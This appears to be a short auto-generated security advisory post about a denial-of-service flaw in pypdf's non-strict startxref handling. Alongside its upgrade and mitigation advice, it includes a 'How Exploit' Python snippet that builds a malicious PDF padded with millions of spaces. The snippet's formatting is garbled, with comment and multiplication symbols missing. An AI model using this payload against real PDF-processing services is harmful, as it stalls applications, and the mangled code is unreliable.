Listen to this Post
The vulnerability resides in pypdf’s non-strict parsing mode when rebuilding the cross-reference table of a PDF. A PDF file’s cross-reference table, located via the `startxref` keyword, is crucial for locating objects within the file. An attacker can craft a malicious PDF with a malformed `startxref` value followed by an extremely large amount of whitespace characters (e.g., spaces, newlines). When pypdf in non-strict mode attempts to locate and parse this corrupted cross-reference section, its processing logic enters an inefficient search or parsing loop while traversing the excessive whitespace. This causes a linear increase in processing time relative to the number of inserted whitespace characters, leading to disproportionately long runtimes and a resource consumption denial-of-service condition, without crashing the application. The strict reading mode is unaffected as it validates the `startxref` offset more rigorously.
DailyCVE Form:
Platform: pypdf
Version: <6.6.0
Vulnerability: DoS via startxref
Severity: Low
Date: 2026-01-09
Prediction: Patch 2026-01-09
What Undercode Say:
Analytics:
Check current pypdf version pip show pypdf | grep Version Install patched version pip install pypdf==6.6.0
How Exploit:
import io Craft malicious PDF with huge whitespace after startxref malicious_pdf = b""" %PDF-1.4 1 0 obj <</Type/Catalog/Pages 2 0 R>> endobj 2 0 obj <</Type/Pages/Kids[]/Count 0>> endobj xref 0 3 0000000000 65535 f 0000000010 00000 n 0000000053 00000 n trailer <</Size 3/Root 1 0 R>> startxref 10 """ + b" " 10000000 + b"\n%%EOF"
Protection from this CVE:
- Upgrade to pypdf>=6.6.0.
- Use
PdfReader(..., strict=True). - Validate input PDFs.
Impact:
- Performance Degradation
- Resource Exhaustion
- Application Stalling
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
